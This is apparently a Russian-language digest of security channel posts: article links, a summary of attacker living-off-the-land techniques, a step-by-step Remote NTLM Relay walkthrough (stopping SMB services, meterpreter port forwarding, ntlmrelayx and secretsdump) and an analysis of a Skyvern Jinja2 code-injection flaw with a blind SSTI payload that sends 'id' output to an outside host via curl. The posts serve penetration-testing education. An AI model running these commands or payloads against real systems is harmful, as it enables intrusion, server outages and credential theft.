Fsecurity | HH

🔗Ссылка: https://habr.com/ru/articles/920182/

🔗Ссылка: https://habr.com/ru/companies/pm/articles/920096/

🔗Ссылка: https://habr.com/ru/articles/920904/

🔗Ссылка: https://habr.com/ru/companies/pt/articles/920810/

👉🏻

🔗Ссылка: https://habr.com/ru/articles/920912/

🔗Ссылка: https://github.com/meirwah/awesome-incident-response

Еще одно новшество - это система OTP. Пока что она используется только для синхронизации больших файлов с сервера и загрузки файлов на сервер (например если данные задачи превышают 5Мб). Далее область применения OTP будет расширяться. В дополнение к синхронизации через клиент, можно с тем же одноразовым токеном скачать файл с сервера напрямую, например через wget или curl. И для этого не требуется авторизация в самом С2. Все на скринах))

Wanna Catch Black Hat - Understand him 😎 Наткнулся на статью от китайских коллег 🇨🇳 с подборкой реальных техник от Initial Access до Privilege Escalation с упором на Living off the Land (LotL). Да, ничего принципиально нового — но подано с позиции атакующего, что даёт отличную основу для улучшения детектов 🛡 🔍 Основное: • Макросы с HTTP-загрузкой и запуском PowerShell через XMLHTTP + ADODB • SYSTEM-доступ через sc, schtasks, bitsadmin, psexec • Обход AppLocker встроенными утилитами (regsvr32, cmstp, ieexec) • Эскалация через UAC-байпасы (eventvwr, cmstp, msi + AlwaysInstallElevated) • Кража токенов и хэшей через Incognito, WDigest, Bypass UAC • Использование PROMPT_COMMAND в bash как бэкдор • Бэкдоры в Remote Desktop Protocol 🔗 Статья: https://www.cnblogs.com/LittleHann/p/8420779.html 🧢 s0ld13r

🔗Ссылка: https://www.securitylab.ru/news/560622.php

🔗Ссылка: https://www.securitylab.ru/analytics/560031.php

AI & LLM & ML BugBounty Hacktivity #ai #llm #ml #bugbounty #jailbreak #llama #huggingface Если вам интересна тема пентеста LLM, AI, ML, как багхантить такие штуки и т.д., то извечным способом улучшения насмотренности и понимания направления - хороший способом считается читать чужие репорты на бб. 🔗Huntr Hacktivity 🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK

🔗Ссылка: https://habr.com/ru/articles/920510/

🔗Ссылка: https://habr.com/ru/companies/bastion/articles/916752/

💻Yet Another NTLM Relay Attack💻 Многие слышали об атаках NTLM Relay, но, как и большинство атак, их осуществление возможно при достижении определенных условий. Зачастую такие атаки осуществляются либо при помощи Responder (в таком случае ключевую роль играет успешность отравления широковещательных запросов, используемых некоторыми протоколами в Windows-сетях), либо используется механизм принудительной аутентификации (A.K.A. Coerce). В первом случае нам необходим доступ к той же сети, где находится наша "жертва", а во втором мы получим возможность ретранслировать учетную запись компьютера в домене, что тоже не всегда приводит к желаемым результатам. В чем суть Remote NTLM Relay? Сегодня мы рассмотрим ещё одну вариацию атаки перенаправления аутентификации NTLM. Хоть она не пользуется большой популярностью в силу особенностей эксплуатации, знать о ней полезно. Речь идет о Remote NTLM Relay. Эта атака будет работать за счёт принудительной остановки SMB-служб на сервере и его дальнейшего перезапуска, чтобы весь трафик, поступающий на 445 порт сервера, был затем перенаправлен на атакующую машину. Благодаря этому атакующий может перенаправить (зарелэить) входящие сессии туда, куда ему нужно. Оригинальный пост, посвященный атаке, можно найти здесь, а единственное упоминание до этого исследования можно найти в этом блоге. Для эксплуатации нам нужно проделать несколько несложных этапов. Этап 1. Подготовка сервера👽 Чтобы настроить сервер для дальнейшей эксплуатации, нам нужно отключить SMB-службы и перезапустить его. Ниже приведены шаги для этого: 1. Отключение NetLogon:

sc stop netlogon

2. Отключение и остановка SMB-сервера (службы LanManServer):

sc stop lanmanserver
sc config lanmanserver start= disabled

3. Полная остановка LanManWorkstation:

sc stop lanmanworkstation
sc config lanmanworkstation start= disabled

Эти шаги можно увидеть на первом скриншоте. После отключения служб нужно перезагрузить машину (shutdown /r /t 0). Важно именно перезагрузить устройство, а не выключить его. После перезагрузки сервера уже известным способом получаем оболочку на нём (в ходе атаки я использую meterpreter). Этап 2. Настройка атакующей машины. На атакующей машине для ретрансляции NTLM используем скрипт ntlmrelayx.py из набора Impacket🐍. В демонстрационном примере атака осуществляется на сервер 10.201.126.30, так как он не требует подписания SMB. Прокси-сервер, используемый в ходе атаки, будет прослушивать на порту 1090, поэтому команда запуска скрипта выглядит следующим образом:

proxychains impacket-ntlmrelayx -t smb://10.201.126.30 -smb2support -socks -socks-port 1090

Этап 3. TCP relay через meterpreter. При помощи полученной на первом этапе оболочки осуществляем перенаправление входящего на порт 445/TCP на стороне сервера трафика на атакующую машину, с которой будет осуществляться релэй (второй скриншот).

portfwd add -R -L 10.51.124.39 -l 445 -p 445

Если все шаги проделаны верно, то мы можем поймать сессию и успешно ретранслировать её (третий скриншот). Этап 4. Постэксплуатация. После успешного релэя ntlmrelayx.py будет любезно держать для нас открытую сессию, поэтому, сделав кастомный конфиг для proxyсhains, мы можем использовать другие Impacket-like утилиты для постэксплуатации. В моём случае пользователь, сессию которого удалось ретранслировать, обладает высокими привилегиями относительно целевой машины, поэтому логично использовать secretsdump.py для получения новых учетных данных для горизонтального перемещения в домене (четвёртый скриншот):

proxychains -f p4-ntlm-relay.conf impacket-secretsdump -no-pass HOLOLIVE/SRV-ADMIN@10.201.126.30

Причина, по которой этот вектор атаки не получил широкого распространения, заключается в его деструктивности: отключение SMB-служб на активно используемом сервере приведёт к DoS и простоям сервера. В реальных условиях такие последствия могут стать серьезной проблемой, поэтому выполнять атаку следует только с явного разрешения заказчика.

Совместно с linuxson продолжаем учиться анализу кода, и сегодня выбор пал на RCE в Skyvern (CVE-2025-49619): выполнение кода в шаблонах Jinja2 через Navigation V2 Block 🤪 Skyvern — фреймворк для автоматизации браузерных workflow. В версиях до 0.1.85 обнаружена критическая уязвимость, позволяющая аутентифицированным пользователям выполнять произвольный код на сервере через инъекцию в шаблоны Jinja2 💪 Суть уязвимости: 1. Некорректная обработка шаблонов: поле prompt в блоках (конкретнее — Navigation V2) принимало необработанные Jinja2-выражения; 2. Прямая передача в Jinja2: входные данные рендерились через Template() без sandbox, позволяя получить доступ к globals и builtins. Уязвимый код: 1. Критичный импорт:

from jinja2 import Template

2. Опасный рендеринг (метод format_block_parameter_template_from_workflow_run_context):

template = Template(potential_template) 
template.render(context)

Полезная нагрузка Blind SSTI:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('curl http://0.0.0.0:6666/?os=$(id)').read() }}

Для этой уязвимости существует публичный эксплойт. Главная цель — перейти от "слепого фаззинга" к осознанному поиску уязвимостей через понимание кода, даже при недостатке базы в программировании 🔥

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈